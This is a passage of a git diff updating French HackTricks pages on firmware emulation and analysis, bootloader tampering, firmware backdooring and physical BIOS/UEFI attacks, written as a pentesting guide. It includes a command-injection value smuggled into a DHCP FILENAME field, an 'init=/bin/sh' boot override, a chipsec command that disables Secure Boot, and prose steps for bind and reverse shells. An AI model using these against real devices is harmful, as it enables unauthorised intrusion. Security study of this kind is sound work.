statique_ et une _analyse dynamique_ via l'émulation et enfin en générant un rapport. _EMBA_ découvre automatiquement les points faibles et les vulnérabilités possibles dans le firmware. Des exemples sont les binaires non sécurisés, les composants logiciels anciens et obsolètes, les scripts potentiellement vulnérables ou les mots de passe codés en dur. +### Vérifications de sécurité sur les binaires compilés -{% hint style="warning" %} -À l'intérieur du système de fichiers, vous pouvez également trouver le **code source** des programmes (que vous devriez toujours **vérifier**), mais aussi des **binaires compilés**. Ces programmes pourraient être exposés d'une manière ou d'une autre et vous devriez les **décompiler** et les **vérifier** pour d'éventuelles vulnérabilités. +Le code source et les binaires compilés trouvés dans le système de fichiers doivent être examinés pour détecter des vulnérabilités. Des outils comme **checksec.sh** pour les binaires Unix et **PESecurity** pour les binaires Windows aident à identifier les binaires non protégés qui pourraient être exploités. -Des outils comme [**checksec.sh**](https://github.com/slimm609/checksec.sh) peuvent être utiles pour trouver des binaires non protégés. Pour les binaires Windows, vous pourriez utiliser [**PESecurity**](https://github.com/NetSPI/PESecurity). -{% endhint %} +## Émulation de firmware pour une analyse dynamique -## Émulation du Firmware +Le processus d'émulation de firmware permet une **analyse dynamique** du fonctionnement d'un appareil ou d'un programme individuel. Cette approche peut rencontrer des défis liés aux dépendances matérielles ou architecturales, mais le transfert du système de fichiers racine ou de binaires spécifiques vers un appareil avec une architecture et une endianness correspondantes, tel qu'un Raspberry Pi, ou vers une machine virtuelle pré-construite, peut faciliter les tests ultérieurs. -L'idée d'émuler le Firmware est de pouvoir effectuer une **analyse dynamique** de l'appareil **en fonctionnement** ou d'un **programme unique**. +### Émulation de binaires individuels -{% hint style="info" %} -Parfois, l'émulation partielle ou complète **peut ne pas fonctionner en raison de dépendances matérielles ou architecturales**. Si l'architecture et l'endianness correspondent à un appareil possédé tel qu'un raspberry pi, le système de fichiers racine ou un binaire spécifique peut être transféré sur l'appareil pour des tests plus approfondis. Cette méthode s'applique également aux machines virtuelles préconstruites utilisant la même architecture et endianness que la cible. -{% endhint %} +Pour examiner des programmes individuels, il est crucial d'identifier l'endianness et l'architecture du processeur du programme. -### Émulation Binaire +#### Exemple avec l'architecture MIPS -Si vous souhaitez simplement émuler un programme pour rechercher des vulnérabilités, vous devez d'abord identifier son endianness et l'architecture CPU pour laquelle il a été compilé. - -#### Exemple MIPS -``` +Pour émuler un binaire d'architecture MIPS, on peut utiliser la commande : ```bash file ./squashfs-root/bin/busybox -./squashfs-root/bin/busybox: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped ``` -Maintenant, vous pouvez **émuler** l'exécutable busybox en utilisant **QEMU**. +Et pour installer les outils d'émulation nécessaires : ```bash sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils ``` -Parce que l'exécutable **est** compilé pour **MIPS** et suit l'ordre des octets **big-endian**, nous utiliserons l'émulateur **`qemu-mips`** de QEMU. Pour émuler des exécutables **little-endian**, nous devrions sélectionner l'émulateur avec le suffixe `el` (`qemu-mipsel`) : -```bash -qemu-mips -L ./squashfs-root/ ./squashfs-root/bin/ls -100 100.7z 15A6D2.squashfs squashfs-root squashfs-root-0 -``` -#### Exemple ARM -```bash -file bin/busybox -bin/busybox: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-armhf.so.1, no section header -``` -Émulation : -```bash -qemu-arm -L ./squashfs-root/ ./squashfs-root/bin/ls -1C00000.squashfs B80B6C C41DD6.xz squashfs-root squashfs-root-0 -``` -### Émulation complète du système +### Emulation de l'architecture ARM -Il existe plusieurs outils, basés sur **qemu** en général, qui vous permettront d'émuler le firmware complet : +Pour les binaires ARM, le processus est similaire, avec l'émulateur `qemu-arm` étant utilisé pour l'émulation. -* [**https://github.com/firmadyne/firmadyne**](https://github.com/firmadyne/firmadyne)** :** -* Vous devez installer plusieurs choses, configurer postgres, puis exécuter le script extractor.py pour extraire le firmware, utiliser le script getArch.sh pour obtenir l'architecture. Ensuite, utilisez les scripts tar2db.py et makeImage.sh pour stocker les informations de l'image extraite dans la base de données et générer une image QEMU que nous pouvons émuler. Puis, utilisez le script inferNetwork.sh pour obtenir les interfaces réseau, et enfin utilisez le script run.sh, qui est automatiquement créé dans le dossier ./scratch/1/. -* [**https://github.com/attify/firmware-analysis-toolkit**](https://github.com/attify/firmware-analysis-toolkit)** :** -* Cet outil dépend de firmadyne et automatise le processus d'émulation du firmware en utilisant firmadynee. vous devez configurer `fat.config` avant de l'utiliser : `sudo python3 ./fat.py IoTGoat-rpi-2.img --qemu 2.5.0` -* [**https://github.com/therealsaumil/emux**](https://github.com/therealsaumil/emux) -* [**https://github.com/getCUJO/MIPS-X**](https://github.com/getCUJO/MIPS-X) -* [**https://github.com/qilingframework/qiling#qltool**](https://github.com/qilingframework/qiling#qltool) +### Emulation du système complet -## **Analyse dynamique** +Des outils comme [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), et d'autres, facilitent l'émulation complète du firmware, automatisant le processus et aidant dans l'analyse dynamique. -À ce stade, vous devriez avoir soit un appareil exécutant le firmware à attaquer, soit le firmware émulé à attaquer. Dans tous les cas, il est fortement recommandé que vous ayez également **un shell dans l'OS et le système de fichiers en cours d'exécution**. +## Analyse Dynamique en Pratique -Notez que parfois, si vous émulez le firmware, **certaines activités à l'intérieur de l'émulation peuvent échouer** et vous pourriez avoir besoin de redémarrer l'émulation. Par exemple, une application web pourrait avoir besoin d'obtenir des informations d'un appareil avec lequel l'appareil d'origine est intégré, mais l'émulation ne l'émule pas. +À ce stade, un environnement de dispositif réel ou émulé est utilisé pour l'analyse. Il est essentiel de maintenir l'accès à l'interface en ligne de commande de l'OS et au système de fichiers. L'émulation peut ne pas reproduire parfaitement les interactions matérielles, nécessitant parfois des redémarrages de l'émulation. L'analyse devrait revisiter le système de fichiers, exploiter les pages web exposées et les services réseau, et explorer les vulnérabilités du chargeur d'amorçage. Les tests d'intégrité du firmware sont essentiels pour identifier les potentielles vulnérabilités de porte dérobée. -Vous devriez **revérifier le système de fichiers** comme nous l'avons déjà fait dans une **étape précédente car dans l'environnement en cours d'exécution, de nouvelles informations pourraient être accessibles.** +## Techniques d'Analyse en Temps d'Exécution -Si des **pages web** sont exposées, en lisant le code et en ayant accès à celles-ci, vous devriez **les tester**. Sur hacktricks, vous pouvez trouver beaucoup d'informations sur différentes techniques de piratage web. +L'analyse en temps d'exécution implique d'interagir avec un processus ou un binaire dans son environnement d'exploitation, en utilisant des outils comme gdb-multiarch, Frida, et Ghidra pour définir des points d'arrêt et identifier les vulnérabilités à travers le fuzzing et d'autres techniques. -Si des **services réseau** sont exposés, vous devriez essayer de les attaquer. Sur hacktricks, vous pouvez trouver beaucoup d'informations sur différentes techniques de piratage de services réseau. Vous pourriez également essayer de les fuzz avec des **fuzzers** de réseau et de protocole tels que [Mutiny](https://github.com/Cisco-Talos/mutiny-fuzzer), [boofuzz](https://github.com/jtpereyda/boofuzz), et [kitty](https://github.com/cisco-sas/kitty). +## Exploitation Binaire et Preuve de Concept -Vous devriez vérifier si vous pouvez **attaquer le bootloader** pour obtenir un shell root : +Développer une PoC pour les vulnérabilités identifiées nécessite une compréhension approfondie de l'architecture cible et de la programmation en langages de bas niveau. Les protections d'exécution binaire dans les systèmes embarqués sont rares, mais lorsque présentes, des techniques comme la Programmation Orientée Retour (ROP) peuvent être nécessaires. -{% content-ref url="bootloader-testing.md" %} -[bootloader-testing.md](bootloader-testing.md) -{% endcontent-ref %} +## Systèmes d'Exploitation Préparés pour l'Analyse de Firmware -Vous devriez tester si l'appareil effectue des tests d'**intégrité du firmware**. Si ce n'est pas le cas, cela permettrait aux attaquants de proposer des firmwares compromis, de les installer sur des appareils appartenant à d'autres personnes ou même de les déployer à distance s'il existe une vulnérabilité de mise à jour du firmware : +Des systèmes d'exploitation comme [AttifyOS](https://github.com/adi0x90/attifyos) et [EmbedOS](https://github.com/scriptingxss/EmbedOS) fournissent des environnements préconfigurés pour les tests de sécurité des firmwares, équipés des outils nécessaires. -{% content-ref url="firmware-integrity.md" %} -[firmware-integrity.md](firmware-integrity.md) -{% endcontent-ref %} +## OS Préparés pour Analyser les Firmwares -Les vulnérabilités de mise à jour du firmware surviennent généralement parce que l'**intégrité** du **firmware** peut **ne pas** être **validée**, l'utilisation de **protocoles réseau** **non chiffrés**, l'utilisation de **crédentials codées en dur**, une **authentification non sécurisée** au composant cloud qui héberge le firmware, et même une **journalisation excessive et non sécurisée** (données sensibles), permettent des **mises à jour physiques** sans vérifications. +* [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS est une distribution conçue pour vous aider à réaliser des évaluations de sécurité et des tests de pénétration des dispositifs Internet des Objets (IoT). Il vous fait gagner du temps en fournissant un environnement préconfiguré avec tous les outils nécessaires chargés. +* [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Système d'exploitation de test de sécurité embarqué basé sur Ubuntu 18.04 préchargé avec des outils de test de sécurité des firmwares. -## **Analyse en temps réel** +## Firmwares Vulnérables pour la Pratique -L'analyse en temps réel implique de se connecter à un processus ou un binaire en cours d'exécution pendant qu'un appareil fonctionne dans son environnement normal ou émulé. Les étapes de base de l'analyse en temps réel sont fournies ci-dessous : - -1. `sudo chroot . ./qemu-arch -L -g ` -2. Attacher gdb-multiarch ou utiliser IDA pour émuler le binaire -3. Définir des points d'arrêt pour les fonctions identifiées lors de l'étape 4 telles que memcpy, strncpy, strcmp, etc. -4. Exécuter des chaînes de charge utile importantes pour identifier les dépassements de capacité ou les plantages de processus à l'aide d'un fuzzer -5. Passer à l'étape 8 si une vulnérabilité est identifiée - -Les outils qui peuvent être utiles sont (liste non exhaustive) : - -* gdb-multiarch -* [Peda](https://github.com/longld/peda) -* Frida -* ptrace -* strace -* IDA Pro -* Ghidra -* Binary Ninja -* Hopper - -## **Exploitation binaire** - -Après avoir identifié une vulnérabilité au sein d'un binaire lors des étapes précédentes, une preuve de concept (PoC) appropriée est requise pour démontrer l'impact et le risque réels. Le développement de code d'exploitation nécessite une expérience de programmation dans des langages de bas niveau (par exemple, ASM, C/C++, shellcode, etc.) ainsi qu'une connaissance de l'architecture cible particulière (par exemple, MIPS, ARM, x86, etc.). Le code PoC implique d'obtenir une exécution arbitraire sur un appareil ou une application en contrôlant une instruction en mémoire. - -Il n'est pas courant que des protections d'exécution binaire (par exemple, NX, DEP, ASLR, etc.) soient en place dans les systèmes embarqués, cependant, lorsque cela se produit, des techniques supplémentaires peuvent être nécessaires telles que la programmation orientée retour (ROP). ROP permet à un attaquant d'implémenter une fonctionnalité malveillante arbitraire en chaînant du code existant dans le code du processus/binaire cible connu sous le nom de gadgets. Des étapes devront être prises pour exploiter une vulnérabilité identifiée telle qu'un débordement de tampon en formant une chaîne ROP. Un outil qui peut être utile dans des situations comme celles-ci est le gadget finder de Capstone ou ROPGadget - [https://github.com/JonathanSalwan/ROPgadget](https://github.com/JonathanSalwan/ROPgadget). - -Utilisez les références suivantes pour plus de conseils : - -* [https://azeria-labs.com/writing-arm-shellcode/](https://azeria-labs.com/writing-arm-shellcode/) -* [https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/](https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/) - -## OS préparés pour analyser le Firmware - -* [**AttifyOS**](https://github.com/adi0x90/attifyos) : AttifyOS est une distribution destinée à vous aider à effectuer l'évaluation de la sécurité et les tests d'intrusion des appareils Internet des objets (IoT). Elle vous fait gagner beaucoup de temps en fournissant un environnement préconfiguré avec tous les outils nécessaires chargés. -* [**EmbedOS**](https://github.com/scriptingxss/EmbedOS) : Système d'exploitation de test de sécurité embarqué basé sur Ubuntu 18.04 préchargé avec des outils de test de sécurité du firmware. - -## Firmware vulnérable pour la pratique - -Pour pratiquer la découverte de vulnérabilités dans le firmware, utilisez les projets de firmware vulnérables suivants comme point de départ. +Pour pratiquer la découverte de vulnérabilités dans les firmwares, utilisez les projets de firmwares vulnérables suivants comme point de départ. * OWASP IoTGoat * [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat) -* The Damn Vulnerable Router Firmware Project +* Le Projet de Firmware de Routeur Vulnérable Damn (DVRF) * [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF) -* Damn Vulnerable ARM Router (DVAR) +* Routeur ARM Vulnérable Damn (DVAR) * [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html) * ARM-X * [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads) * Azeria Labs VM 2.0 * [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/) -* Damn Vulnerable IoT Device (DVID) +* Dispositif IoT Vulnérable Damn (DVID) * [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID) ## Références * [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) -* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904) +* [Hacking IoT Pratique : Le Guide Définitif pour Attaquer l'Internet des Objets](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904) -## Formation et Certification +## Formation et Certificat * [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation) - -
- -Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! - -Autres moyens de soutenir HackTricks : - -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). - -
diff --git a/physical-attacks/firmware-analysis/bootloader-testing.md b/physical-attacks/firmware-analysis/bootloader-testing.md index 30c88fccc..f9251ab79 100644 --- a/physical-attacks/firmware-analysis/bootloader-testing.md +++ b/physical-attacks/firmware-analysis/bootloader-testing.md @@ -1,21 +1,21 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-Les étapes suivantes sont recommandées pour modifier les configurations de démarrage des appareils et les bootloaders comme U-boot : +Les étapes suivantes sont recommandées pour modifier les configurations de démarrage des appareils et les chargeurs de démarrage comme U-boot : -1. **Accéder à l'interpréteur de shell du bootloader** : -- Pendant le démarrage, appuyez sur "0", espace, ou d'autres "codes magiques" identifiés pour accéder au shell de l'interpréteur du bootloader. +1. **Accéder à l'interpréteur de shell du chargeur de démarrage** : +- Pendant le démarrage, appuyez sur "0", espace ou d'autres "codes magiques" identifiés pour accéder à l'interpréteur de shell du chargeur de démarrage. 2. **Modifier les arguments de démarrage** : - Exécutez les commandes suivantes pour ajouter '`init=/bin/sh`' aux arguments de démarrage, permettant l'exécution d'une commande shell : @@ -41,16 +41,31 @@ Les étapes suivantes sont recommandées pour modifier les configurations de dé - Utilisez `ubootwrite.py` pour écrire l'image U-boot et pousser un firmware modifié pour obtenir un accès root. 5. **Vérifier les fonctionnalités de débogage** : -- Vérifiez si des fonctionnalités de débogage comme le journalisation verbose, le chargement de noyaux arbitraires ou le démarrage à partir de sources non fiables sont activées. +- Vérifiez si des fonctionnalités de débogage telles que le journalisation verbose, le chargement de noyaux arbitraires ou le démarrage à partir de sources non fiables sont activées. 6. **Interférence matérielle prudente** : -- Soyez prudent en connectant une broche à la terre et en interagissant avec les puces flash SPI ou NAND pendant la séquence de démarrage de l'appareil, en particulier avant la décompression du noyau. Consultez la fiche technique de la puce flash NAND avant de court-circuiter les broches. +- Soyez prudent lorsque vous connectez une broche à la terre et interagissez avec les puces flash SPI ou NAND pendant la séquence de démarrage de l'appareil, en particulier avant la décompression du noyau. Consultez la fiche technique de la puce flash NAND avant de court-circuiter les broches. 7. **Configurer un serveur DHCP malveillant** : -- Mettez en place un serveur DHCP malveillant avec des paramètres malveillants pour qu'un appareil les ingère lors d'un démarrage PXE. Utilisez des outils comme le serveur auxiliaire DHCP de Metasploit (MSF). Modifiez le paramètre 'FILENAME' avec des commandes d'injection de commande telles que `'a";/bin/sh;#'` pour tester la validation des entrées pour les procédures de démarrage de l'appareil. +- Configurez un serveur DHCP malveillant avec des paramètres malveillants pour qu'un appareil les ingère lors d'un démarrage PXE. Utilisez des outils comme le serveur auxiliaire DHCP de Metasploit (MSF). Modifiez le paramètre 'FILENAME' avec des commandes d'injection de commande telles que `'a";/bin/sh;#'` pour tester la validation des entrées pour les procédures de démarrage de l'appareil. **Remarque** : Les étapes impliquant une interaction physique avec les broches de l'appareil (*marquées d'astérisques) doivent être abordées avec une extrême prudence pour éviter d'endommager l'appareil. ## Références * [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) + + +
+ +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! + +Autres façons de soutenir HackTricks : + +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. + +
diff --git a/physical-attacks/firmware-analysis/firmware-integrity.md b/physical-attacks/firmware-analysis/firmware-integrity.md index 467a76215..d8c2d4c2d 100644 --- a/physical-attacks/firmware-analysis/firmware-integrity.md +++ b/physical-attacks/firmware-analysis/firmware-integrity.md @@ -1,18 +1,18 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-# Intégrité du firmware +## Intégrité du firmware Les **firmwares personnalisés et/ou les binaires compilés peuvent être téléchargés pour exploiter des failles d'intégrité ou de vérification de signature**. Les étapes suivantes peuvent être suivies pour la compilation d'un backdoor bind shell : @@ -28,31 +28,17 @@ Les **firmwares personnalisés et/ou les binaires compilés peuvent être télé 10. Le firmware modifié peut être reconditionné en utilisant FMK. 11. Le firmware backdooré peut être testé en l'émulant avec l'outil d'analyse de firmware (FAT) et en se connectant à l'IP et au port du backdoor cible en utilisant netcat. -Si un shell root a déjà été obtenu par le biais d'une analyse dynamique, d'une manipulation de bootloader ou de tests de sécurité matérielle, des binaires malveillants précompilés tels que des implants ou des reverse shells peuvent être exécutés. Des outils automatisés de charge utile/implant comme le framework Metasploit et 'msfvenom' peuvent être exploités en suivant les étapes suivantes : +Si un shell root a déjà été obtenu par le biais d'une analyse dynamique, d'une manipulation de bootloader ou de tests de sécurité matérielle, des binaires malveillants précompilés tels que des implants ou des reverse shells peuvent être exécutés. Des outils automatisés de charge utile/implant tels que le framework Metasploit et 'msfvenom' peuvent être exploités en suivant les étapes suivantes : 1. L'architecture du firmware cible et l'endianness doivent être identifiées. -2. Msfvenom peut être utilisé pour spécifier la charge utile cible, l'IP de l'hôte attaquant, le numéro de port d'écoute, le type de fichier, l'architecture, la plateforme et le fichier de sortie. +2. Msfvenom peut être utilisé pour spécifier la charge utile cible, l'IP de l'attaquant, le numéro de port d'écoute, le type de fichier, l'architecture, la plateforme et le fichier de sortie. 3. La charge utile peut être transférée vers le périphérique compromis et il faut s'assurer qu'elle a les autorisations d'exécution. 4. Metasploit peut être préparé pour gérer les demandes entrantes en démarrant msfconsole et en configurant les paramètres selon la charge utile. -5. Le reverse shell meterpreter peut être exécuté sur le périphérique compromis. -6. Les sessions meterpreter peuvent être surveillées lorsqu'elles s'ouvrent. +5. Le shell inversé meterpreter peut être exécuté sur le périphérique compromis. +6. Les sessions meterpreter peuvent être surveillées au fur et à mesure de leur ouverture. 7. Des activités de post-exploitation peuvent être effectuées. Si possible, les vulnérabilités dans les scripts de démarrage peuvent être exploitées pour obtenir un accès persistant à un périphérique à travers les redémarrages. Ces vulnérabilités surviennent lorsque les scripts de démarrage font référence, [créent des liens symboliques](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data), ou dépendent du code situé dans des emplacements montés non fiables tels que les cartes SD et les volumes flash utilisés pour stocker des données en dehors des systèmes de fichiers racine. ## Références * Pour plus d'informations, consultez [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) - -
- -Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! - -Autres façons de soutenir HackTricks : - -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. - -
diff --git a/physical-attacks/physical-attacks.md b/physical-attacks/physical-attacks.md index 4f488228c..0c2abf935 100644 --- a/physical-attacks/physical-attacks.md +++ b/physical-attacks/physical-attacks.md @@ -2,151 +2,80 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-## Mot de passe BIOS +## Récupération du Mot de Passe du BIOS et Sécurité du Système -### La batterie +La **réinitialisation du BIOS** peut être réalisée de plusieurs manières. La plupart des cartes mères incluent une **pile** qui, une fois retirée pendant environ **30 minutes**, réinitialisera les paramètres du BIOS, y compris le mot de passe. Alternativement, un **cavalier sur la carte mère** peut être ajusté pour réinitialiser ces paramètres en connectant des broches spécifiques. -La plupart des **cartes mères** ont une **batterie**. Si vous la **retirez** pendant **30min**, les paramètres du BIOS seront **réinitialisés** (mot de passe inclus). +Dans les situations où les ajustements matériels ne sont pas possibles ou pratiques, des **outils logiciels** offrent une solution. Exécuter un système à partir d'un **Live CD/USB** avec des distributions comme **Kali Linux** fournit un accès à des outils comme **_killCmos_** et **_CmosPWD_**, qui peuvent aider à la récupération du mot de passe du BIOS. -### Cavalier CMOS +Dans les cas où le mot de passe du BIOS est inconnu, le saisir incorrectement **trois fois** entraînera généralement un code d'erreur. Ce code peut être utilisé sur des sites web comme [https://bios-pw.org](https://bios-pw.org) pour potentiellement récupérer un mot de passe utilisable. -La plupart des **cartes mères** ont un **cavalier** qui peut réinitialiser les paramètres. Ce cavalier connecte une broche centrale à une autre, si vous **connectez ces broches, la carte mère sera réinitialisée**. +### Sécurité UEFI -### Outils en direct +Pour les systèmes modernes utilisant l'**UEFI** au lieu du BIOS traditionnel, l'outil **chipsec** peut être utilisé pour analyser et modifier les paramètres UEFI, y compris la désactivation du **Secure Boot**. Cela peut être accompli avec la commande suivante : -Si vous pouviez **exécuter** par exemple un Linux **Kali** depuis un CD/USB Live, vous pourriez utiliser des outils comme _**killCmos**_ ou _**CmosPWD**_ (ce dernier est inclus dans Kali) pour essayer de **récupérer le mot de passe du BIOS**. +`python chipsec_main.py -module exploits.secure.boot.pk` -### Récupération en ligne du mot de passe BIOS +### Analyse de la RAM et Attaques Cold Boot -Entrez le mot de passe du BIOS **3 fois incorrectement**, puis le BIOS affichera un **message d'erreur** et sera bloqué.\ -Visitez la page [https://bios-pw.org](https://bios-pw.org) et **introduisez le code d'erreur** affiché par le BIOS et vous pourriez avoir de la chance et obtenir un **mot de passe valide** (la **même recherche pourrait vous montrer différents mots de passe et plus d'un pourrait être valide**). +La RAM conserve les données brièvement après la coupure de l'alimentation, généralement pendant **1 à 2 minutes**. Cette persistance peut être étendue à **10 minutes** en appliquant des substances froides, telles que de l'azote liquide. Pendant cette période prolongée, une **copie de la mémoire** peut être créée à l'aide d'outils comme **dd.exe** et **volatility** pour l'analyse. -## UEFI +### Attaques d'Accès Direct à la Mémoire (DMA) -Pour vérifier les paramètres de l'UEFI et effectuer une 